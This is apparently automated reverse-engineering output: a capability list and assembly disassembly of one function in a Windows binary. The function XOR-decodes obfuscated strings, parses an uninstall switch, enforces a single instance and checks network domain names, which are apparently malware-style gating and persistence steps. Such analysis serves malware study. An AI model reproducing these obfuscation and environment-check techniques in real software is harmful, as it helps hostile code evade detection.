Function at 0x140003ab0
Capabilities:
Accept command line arguments
Encode data using xor
Get networking parameters
Get session user name
Schedule task via itaskscheduler

Disassembly:
push rbp
push rbx
push rdi
push r15
lea rbp, [rsp - 0x678]
sub rsp, 0x778
mov rax, qword [0x1402987c8]
xor rax, rsp
mov qword [rbp + 0x660], rax
movdqa xmm0, xmmword [0x140258d00]
lea rdx, str.fSExOjc2Jz43Ng
xor edi, edi
mov qword [rsp + 0x40], rcx
mov r15, rcx
mov word [rbp - 0x70], 0x5252
movdqa xmm1, xmm0
mov byte [rbp - 0x6e], 0x52
lea rcx, [rbp]
mov qword [rbp - 0x58], rdi
lea r8d, [rdi + 0x10]
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], dil
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], dil
movdqu xmmword [rbp + 0x138], xmm0
mov byte [rbp + 0x128], dil
movdqu xmmword [rbp + 0x10], xmm0
mov byte [rbp], dil
call fcn.140002ca0
lea rdx, [rbp]
lea rcx, [rbp + 0x88]
call fcn.140002390
mov rbx, rax
lea rax, [rbp - 0x68]
cmp rax, rbx
je 0x140003bc7
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140003b99
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b94
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056d6
call fcn.14000c9f4
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], dil
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0x10
jb 0x140003c08
mov rcx, qword [rbp + 0x88]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c03
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056d6
call fcn.14000c9f4
mov rdx, qword [rbp + 0x18]
movdqa xmm0, xmmword [0x140258d00]
mov byte [rbp + 0x88], dil
movdqu xmmword [rbp + 0x98], xmm0
cmp rdx, 0x10
jb 0x140003c5a
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c55
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056d6
call fcn.14000c9f4
cmp qword [rbp - 0x50], 0x10
lea rdx, [rbp - 0x68]
mov r8, qword [rbp - 0x58]
lea rcx, [rbp - 0x20]
cmovae rdx, qword [rbp - 0x68]
mov qword [rsp + 0x7a8], rsi
mov qword [rsp + 0x7b0], r12
mov qword [rsp + 0x7b8], r13
mov qword [rsp + 0x770], r14
call fcn.140002ca0
mov r11d, edi
cmp qword [rbp - 0x58], rdi
jbe 0x140003d01
mov r10, rdi
mov r9, rdi
movabs r15, 0xaaaaaaaaaaaaaaab
nop
cmp qword [rbp - 0x50], 0x10
lea r8, [rbp - 0x68]
lea rcx, [rbp - 0x20]
mov rax, r15
cmovae r8, qword [rbp - 0x68]
lea r10, [r10 + 1]
cmp qword [rbp - 8], 0x10
cmovae rcx, qword [rbp - 0x20]
inc r11d
mul r9
shr rdx, 1
lea rax, [rdx + rdx*2]
sub r9, rax
movzx eax, byte [rbp + r9 - 0x70]
xor al, byte [r8 + r10 - 1]
mov byte [rcx + r10 - 1], al
movsxd r9, r11d
cmp r9, qword [rbp - 0x58]
jb 0x140003cb0
mov r15, qword [rsp + 0x40]
cmp qword [rbp - 8], 0x10
lea rdx, [rbp - 0x20]
mov rsi, qword [rbp - 0x10]
lea rbx, [rbp - 0x20]
cmovae rdx, qword [rbp - 0x20]
add rsi, rdx
mov qword [rbp + 0xd8], rdi
cmp qword [rbp - 8], 0x10
mov rdx, rsi
mov qword [rbp + 0xe0], 7
cmovae rbx, qword [rbp - 0x20]
sub rdx, rbx
mov word [rbp + 0xc8], di
cmp rdx, 8
jb 0x140003d5c
lea rcx, [rbp + 0xc8]
call fcn.14000a3b0
mov qword [rbp + 0xd8], rdi
mov r8, rsi
lea rcx, [rbp + 0xc8]
mov rdx, rbx
call fcn.14000a040
mov r8, qword [rbp - 0x10]
movdqa xmm0, xmmword [0x140258d00]
movdqu xmmword [rbp + 0xb8], xmm0
mov byte [rbp + 0xa8], dil
lea rdx, [r8 + 3]
cmp rdx, 0x10
jb 0x140003daa
lea rcx, [rbp + 0xa8]
call fcn.140009eb0
mov r8, qword [rbp - 0x10]
mov qword [rbp + 0xb8], rdi
cmp qword [rbp - 8], 0x10
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0xa8]
cmovae rdx, qword [rbp - 0x20]
call fcn.140008a20
mov r8d, 3
lea rdx, [0x140256b0c]
lea rcx, [rbp + 0xa8]
call fcn.140008a20
cmp qword [rbp + 0xc0], 0x10
lea rdx, [rbp + 0xa8]
mov rsi, qword [rbp + 0xb8]
lea rbx, [rbp + 0xa8]
cmovae rdx, qword [rbp + 0xa8]
movdqa xmm0, xmmword [0x140258cf0]
add rsi, rdx
cmp qword [rbp + 0xc0], 0x10
mov rdx, rsi
movdqu xmmword [rbp + 0xf8], xmm0
cmovae rbx, qword [rbp + 0xa8]
sub rdx, rbx
mov word [rbp + 0xe8], di
cmp rdx, 8
jb 0x140003e4b
lea rcx, [rbp + 0xe8]
call fcn.14000a3b0
mov qword [rbp + 0xf8], rdi
mov r8, rsi
lea rcx, [rbp + 0xe8]
mov rdx, rbx
call fcn.14000a040
mov dword [rbp + 0x80], edi
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp + 0x80]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ecx, dword [rbp + 0x80]
mov r14d, edi
mov qword [rbp - 0x48], rax
mov r12d, edi
mov r13d, 1
test ecx, ecx
jle 0x140003f9e
mov r12, qword [rbp + 0xe0]
mov r11, rax
mov r13, qword [rbp + 0xc8]
mov ebx, ecx
movzx esi, word [0x140256b14]
movzx r15d, word [0x140256b12]
mov r10d, dword [0x1402aa148]
mov r8, qword [r11]
lea rax, [rbp + 0xc8]
cmp r12, 8
mov r9, r8
cmovae rax, r13
sub r9, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r9]
sub edx, ecx
jne 0x140003ef4
add rax, 2
test ecx, ecx
jne 0x140003ee0
movzx ecx, word [0x140256b10]
test edx, edx
movzx eax, word [r8]
mov edx, 1
cmove r14d, edx
sub ecx, eax
jne 0x140003f25
movzx eax, word [r8 + 2]
movzx ecx, r15w
sub ecx, eax
jne 0x140003f25
movzx eax, word [r8 + 4]
movzx ecx, si
sub ecx, eax
test ecx, ecx
lea r9, str._uninstall
mov rcx, 0xffffffffffffffff
cmove r10d, edx
nop dword [rax]
movzx edx, word [r9 + rcx*2 + 2]
movzx eax, word [r8 + rcx*2 + 2]
sub edx, eax
jne 0x140003f68
add rcx, 2
cmp rcx, 0xb
je 0x140003f68
movzx edx, word [r9 + rcx*2]
movzx eax, word [r8 + rcx*2]
sub edx, eax
je 0x140003f40
test edx, edx
mov eax, 1
cmove edi, eax
add r11, 8
sub rbx, rax
jne 0x140003ec0
mov rax, qword [rbp - 0x48]
lea r13d, [rbx + 1]
mov r15, qword [rsp + 0x40]
mov dword [rsp + 0x38], edi
xor edi, edi
mov r12d, dword [rsp + 0x38]
mov dword [0x1402aa148], r10d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalFree]
cmp r14d, 1
jne 0x14000429e
movdqa xmm0, xmmword [0x140258d00]
lea r8d, [r14 + 0x17]
lea rdx, str.FT49MDMDhc8NTcOjMgNg
mov byte [rbp], 0
lea rcx, [rbp]
movdqu xmmword [rbp + 0x10], xmm0
call fcn.140002ca0
lea rdx, [rbp]
lea rcx, [rbp + 0x88]
call fcn.140002390
mov rbx, rax
lea rax, [rbp - 0x68]
cmp rax, rbx
je 0x14000405b
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x14000402d
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004028
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056dc
call fcn.14000c9f4
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0x10
jb 0x14000409c
mov rcx, qword [rbp + 0x88]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004097
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056dc
call fcn.14000c9f4
mov rdx, qword [rbp + 0x18]
movdqa xmm0, xmmword [0x140258d00]
mov byte [rbp + 0x88], 0
movdqu xmmword [rbp + 0x98], xmm0
cmp rdx, 0x10
jb 0x1400040ee
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400040e9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056dc
call fcn.14000c9f4
cmp qword [rbp - 0x50], 0x10
lea rdx, [rbp - 0x68]
mov r8, qword [rbp - 0x58]
lea rcx, [rbp - 0x20]
cmovae rdx, qword [rbp - 0x68]
call fcn.140002ca0
cmp qword [rbp - 0x58], 0
mov r11d, edi
jbe 0x14000417c
mov r10, rdi
mov r9, rdi
movabs rbx, 0xaaaaaaaaaaaaaaab
nop dword [rax]
nop word [rax + rax]
cmp qword [rbp - 0x50], 0x10
lea r8, [rbp - 0x68]
lea rcx, [rbp - 0x20]
mov rax, rbx
cmovae r8, qword [rbp - 0x68]
lea r10, [r10 + 1]
cmp qword [rbp - 8], 0x10
cmovae rcx, qword [rbp - 0x20]
inc r11d
mul r9
shr rdx, 1
lea rax, [rdx + rdx*2]
sub r9, rax
movzx eax, byte [rbp + r9 - 0x70]
xor al, byte [r10 + r8 - 1]
mov byte [r10 + rcx - 1], al
movsxd r9, r11d
cmp r9, qword [rbp - 0x58]
jb 0x140004130
cmp qword [rbp - 8], 0x10
lea rdx, [rbp - 0x20]
mov rsi, qword [rbp - 0x10]
lea rbx, [rbp - 0x20]
cmovae rdx, qword [rbp - 0x20]
movdqa xmm0, xmmword [0x140258cf0]
add rsi, rdx
cmp qword [rbp - 8], 0x10
mov rdx, rsi
movdqu xmmword [rbp - 0x30], xmm0
cmovae rbx, qword [rbp - 0x20]
sub rdx, rbx
mov word [rbp - 0x40], di
cmp rdx, 8
jb 0x1400041c9
lea rcx, [rbp - 0x40]
call fcn.14000a3b0
mov qword [rbp - 0x30], rdi
mov r8, rsi
lea rcx, [rbp - 0x40]
mov rdx, rbx
call fcn.14000a040
cmp qword [rbp - 0x28], 8
lea r9, [rbp - 0x40]
cmovae r9, qword [rbp - 0x40]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rbx, rax
test rax, rax
jne 0x1400041ff
xor ecx, ecx
jmp 0x14000420f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000425e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x14000564a
mov rcx, qword [rbp - 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004254
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056e2
call fcn.14000c9f4
jmp 0x14000564a
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x14000429e
mov rcx, qword [rbp - 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004299
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056e2
call fcn.14000c9f4
test r12d, r12d
jne 0x14000438f
test r14d, r14d
je 0x14000438f
lea r9d, [r12 + 0x64]
mov rcx, r15
lea r8, [0x1402aa080]
lea edx, [r12 + 0x67]
call qword [sym.imp.USER32.dll_LoadStringW]
lea r9d, [r12 + 0x64]
mov rcx, r15
lea r8, [0x1402a9fb0]
lea edx, [r12 + 0x6d]
call qword [sym.imp.USER32.dll_LoadStringW]
mov rcx, r15
call fcn.140005710
mov rcx, r15
call fcn.1400057f0
test eax, eax
je 0x14000564a
lea edx, [r12 + 0x6d]
mov rcx, r15
call qword [sym.imp.USER32.dll_LoadAcceleratorsW]
xor r9d, r9d
lea rcx, [rsp + 0x60]
mov rbx, rax
xor r8d, r8d
xor eax, eax
xor edx, edx
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140004386
mov rcx, qword [rsp + 0x60]
lea r8, [rsp + 0x60]
mov rdx, rbx
call qword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x14000436f
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rsp + 0x60]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140004342
mov edi, dword [rsp + 0x70]
jmp 0x14000564a
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jne 0x14000564a
test r12d, r12d
je 0x140004c6e
movdqa xmm0, xmmword [0x140258d00]
lea rdx, str.amB8Y2RhfGNmYXxjZWo
xor eax, eax
lea rcx, [rbp + 0x30]
mov qword [rbp + 0x208], rax
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], rax
lea r8d, [rax + 0x14]
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x228], rax
mov qword [rbp + 0x230], rax
mov word [rbp + 0x238], ax
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], rax
mov word [rbp + 0x200], ax
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], al
call fcn.140002ca0
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x40]
call fcn.140002390
mov rbx, rax
lea rax, [rbp - 0x68]
cmp rax, rbx
je 0x1400044b2
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140004484
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000447f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056e8
call fcn.14000c9f4
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x1400044ed
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044e8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056e8
call fcn.14000c9f4
mov rdx, qword [rbp + 0x48]
movdqa xmm0, xmmword [0x140258d00]
mov byte [rbp - 0x40], 0
movdqu xmmword [rbp - 0x30], xmm0
cmp rdx, 0x10
jb 0x140004539
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004534
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056e8
call fcn.14000c9f4
cmp qword [rbp - 0x50], 0x10
lea rdx, [rbp - 0x68]
mov r8, qword [rbp - 0x58]
lea rcx, [rbp - 0x20]
cmovae rdx, qword [rbp - 0x68]
call fcn.140002ca0
cmp qword [rbp - 0x58], 0
mov r11d, edi
movabs r14, 0xaaaaaaaaaaaaaaab
jbe 0x1400045bc
mov r10, rdi
mov r9, rdi
nop
cmp qword [rbp - 0x50], 0x10
lea r8, [rbp - 0x68]
lea rcx, [rbp - 0x20]
mov rax, r14
cmovae r8, qword [rbp - 0x68]
lea r10, [r10 + 1]
cmp qword [rbp - 8], 0x10
cmovae rcx, qword [rbp - 0x20]
inc r11d
mul r9
shr rdx, 1
lea rax, [rdx + rdx*2]
sub r9, rax
movzx eax, byte [rbp + r9 - 0x70]
xor al, byte [r10 + r8 - 1]
mov byte [r10 + rcx - 1], al
movsxd r9, r11d
cmp r9, qword [rbp - 0x58]
jb 0x140004570
cmp qword [rbp - 8], 0x10
lea rdx, [rbp - 0x20]
mov rsi, qword [rbp - 0x10]
lea rbx, [rbp - 0x20]
cmovae rdx, qword [rbp - 0x20]
movdqa xmm0, xmmword [0x140258cf0]
add rsi, rdx
cmp qword [rbp - 8], 0x10
mov rdx, rsi
movdqu xmmword [rbp + 0x10], xmm0
cmovae rbx, qword [rbp - 0x20]
sub rdx, rbx
mov word [rbp], di
cmp rdx, 8
jb 0x140004609
lea rcx, [rbp]
call fcn.14000a3b0
mov qword [rbp + 0x10], rdi
mov r8, rsi
lea rcx, [rbp]
mov rdx, rbx
call fcn.14000a040
cmp qword [rbp + 0x18], 8
lea r8, [rbp]
lea rdx, [0x140256b68]
cmovae r8, qword [rbp]
lea rcx, [rbp + 0x208]
call fcn.14000b400
movdqa xmm0, xmmword [0x140258d00]
lea rdx, str.amB8Y2RhfGNmYHxjamI
mov r8d, SafeArrayUnaccessData
mov byte [rbp + 0x30], 0
lea rcx, [rbp + 0x30]
movdqu xmmword [rbp + 0x40], xmm0
call fcn.140002ca0
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x40]
call fcn.140002390
mov rbx, rax
lea rax, [rbp - 0x68]
cmp rax, rbx
je 0x1400046e2
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x1400046b4
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400046af
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056ee
call fcn.14000c9f4
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14000471d
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004718
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056ee
call fcn.14000c9f4
mov rdx, qword [rbp + 0x48]
movdqa xmm0, xmmword [0x140258d00]
mov byte [rbp - 0x40], 0
movdqu xmmword [rbp - 0x30], xmm0
cmp rdx, 0x10
jb 0x140004769
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004764
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056ee
call fcn.14000c9f4
cmp qword [rbp - 0x50], 0x10
lea rdx, [rbp - 0x68]
mov r8, qword [rbp - 0x58]
lea rcx, [rbp - 0x20]
cmovae rdx, qword [rbp - 0x68]
call fcn.140002ca0
cmp qword [rbp - 0x58], 0
mov r11d, edi
jbe 0x1400047ec
mov r10, rdi
mov r9, rdi
nop dword [rax]
nop dword [rax + rax]
cmp qword [rbp - 0x50], 0x10
lea r8, [rbp - 0x68]
lea rcx, [rbp - 0x20]
mov rax, r14
cmovae r8, qword [rbp - 0x68]
lea r10, [r10 + 1]
cmp qword [rbp - 8], 0x10
cmovae rcx, qword [rbp - 0x20]
inc r11d
mul r9
shr rdx, 1
lea rax, [rdx + rdx*2]
sub r9, rax
movzx eax, byte [rbp + r9 - 0x70]
xor al, byte [r10 + r8 - 1]
mov byte [r10 + rcx - 1], al
movsxd r9, r11d
cmp r9, qword [rbp - 0x58]
jb 0x1400047a0
cmp qword [rbp - 8], 0x10
lea rdx, [rbp - 0x20]
mov rsi, qword [rbp - 0x10]
lea rbx, [rbp - 0x20]
cmovae rdx, qword [rbp - 0x20]
movdqa xmm0, xmmword [0x140258cf0]
add rsi, rdx
cmp qword [rbp - 8], 0x10
mov rdx, rsi
movdqu xmmword [rbp + 0x60], xmm0
cmovae rbx, qword [rbp - 0x20]
sub rdx, rbx
mov word [rbp + 0x50], di
cmp rdx, 8
jb 0x140004839
lea rcx, [rbp + 0x50]
call fcn.14000a3b0
mov qword [rbp + 0x60], rdi
mov r8, rsi
lea rcx, [rbp + 0x50]
mov rdx, rbx
call fcn.14000a040
cmp qword [rbp + 0x68], 8
lea r8, [rbp + 0x50]
lea rdx, [0x140256b68]
cmovae r8, qword [rbp + 0x50]
lea rcx, [rbp + 0x1d0]
call fcn.14000b400
lea rcx, [rbp + 0x208]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140004880
cmp rax, 5
jbe 0x140004c5c
lea rcx, [rbp + 0x1d0]
mov rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], 0
jne 0x1400048a2
cmp rax, 5
jbe 0x140004c5c
xor r14b, r14b
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], rdi
mov dword [rsp + 0x38], 0x258
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x4b0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea rdx, [rsp + 0x38]
mov dword [rsp + 0x38], 0x258
mov rcx, rax
mov rsi, rax
call qword [sym.imp.IPHLPAPI.DLL_GetNetworkParams]
cmp eax, 0x6f
jne 0x140004931
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
lea rdx, [rsp + 0x38]
mov rcx, rsi
call qword [sym.imp.IPHLPAPI.DLL_GetNetworkParams]
test eax, eax
jne 0x140004a97
movdqa xmm0, xmmword [0x140258d00]
lea rdx, [rsi + 0x118]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], al
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140004965
lea rcx, [rbp + 0x30]
call fcn.140002ca0
mov rdx, qword [rbp - 0x38]
cmp qword [rbp - 0x30], rdx
je 0x140004998
movups xmm0, xmmword [rbp + 0x30]
movups xmm1, xmmword [rbp + 0x40]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
add qword [rbp - 0x38], 0x20
jmp 0x1400049e0
lea r8, [rbp + 0x30]
lea rcx, [rbp - 0x40]
call fcn.140009380
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x1400049e0
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400049db
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056ca
call fcn.14000c9f4
mov rbx, qword [rsi + 0x110]
test rbx, rbx
je 0x140004a97
lea rdx, [rbx + 8]
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], 0xf
mov r8, 0xffffffffffffffff
mov byte [rbp + 0x30], 0
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140004a10
lea rcx, [rbp + 0x30]
call fcn.140002ca0
mov rdx, qword [rbp - 0x38]
cmp qword [rbp - 0x30], rdx
je 0x140004a43
movups xmm0, xmmword [rbp + 0x30]
movups xmm1, xmmword [rbp + 0x40]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
add qword [rbp - 0x38], 0x20
jmp 0x140004a8b
lea r8, [rbp + 0x30]
lea rcx, [rbp - 0x40]
call fcn.140009380
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140004a8b
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a86
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056ca
call fcn.14000c9f4
mov rbx, qword [rbx]
test rbx, rbx
jne 0x1400049f0
test rsi, rsi
je 0x140004ab0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor edx, edx
lea rcx, [rbp + 0x150]
lea r8d, [rdx + 0x78]
call fcn.1401b62f0
lea rcx, [rbp + 0x150]
call fcn.1400079e0
mov rbx, qword [rbp - 0x40]
mov rsi, qword [rbp - 0x38]
cmp rbx, rsi
je 0x140004c12
nop
cmp qword [rbx + 0x18], 0x10
mov r8, rbx
jb 0x140004aed
mov r8, qword [rbx]
mov r9, qword [rbx + 0x10]
lea rdx, [rbp + 0x30]
add r9, r8
lea rcx, [rbp + 0x150]
call fcn.1400085e0
lea rcx, [rbp + 0x208]
mov rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], 0
jne 0x140004b12
mov r11, qword [rbp + 0x48]
lea r9, [rbp + 0x30]
mov r10, qword [rbp + 0x30]
cmp r11, 8
mov rdx, qword [rbp + 0x40]
cmovae r9, r10
cmp rdx, rax
jne 0x140004b6c
lea rcx, [rbp + 0x208]
mov r8, rdx
test rdx, rdx
je 0x140004bca
lea rax, [rbp + 0x208]
sub r9, rax
movzx eax, word [rcx]
cmp word [r9 + rcx], ax
jne 0x140004b6c
add rcx, 2
sub r8, 1
jne 0x140004b56
jmp 0x140004bca
lea rcx, [rbp + 0x1d0]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140004b80
cmp r11, 8
lea r8, [rbp + 0x30]
cmovae r8, r10
cmp rdx, rax
jne 0x140004bc7
lea rcx, [rbp + 0x1d0]
test rdx, rdx
je 0x140004bca
lea rax, [rbp + 0x1d0]
sub r8, rax
movzx eax, word [rcx]
cmp word [rcx + r8], ax
jne 0x140004bc7
add rcx, 2
sub rdx, 1
jne 0x140004bb1
jmp 0x140004bca
mov r14b, 1
cmp r11, 8
jb 0x140004c05
lea rdx, [r11*2 + 2]
mov rax, r10
cmp rdx, 0x1000
jb 0x140004bfd
mov r10, qword [r10 - 8]
add rdx, 0x27
sub rax, r10
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400056d0
mov rcx, r10
call fcn.14000c9f4
add rbx, 0x20
cmp rbx, rsi
jne 0x140004ae0
lea rcx, [rbp + 0x150]
call fcn.1400078e0
mov rdx, qword [rbp - 0x40]
test rdx, rdx
je 0x140004c44
mov r8, qword [rbp - 0x38]
call fcn.140008bb0
mov r8, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x40]
sub r8, rdx
sar r8, 5
call fcn.140008c40
test r14b, r14b
je 0x140004c5c
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x208]
call fcn.14000b7e0
lea rcx, [rbp + 0x50]
call fcn.140008330
lea rcx, [rbp]
call fcn.140008330
lea rdx, str.Fzw1Nz46MyA2ch4zJzwxOjcg
lea rcx, [rbp]
call fcn.140002c40
lea rdx, [rbp]
lea rcx, [rbp + 0x50]
call fcn.140002390
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140008440
lea rcx, [rbp + 0x50]
call fcn.140002be0
lea rcx, [rbp]
call fcn.140002be0
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x20]
call fcn.140008410
cmp qword [rbp - 0x58], 0
mov r14d, edi
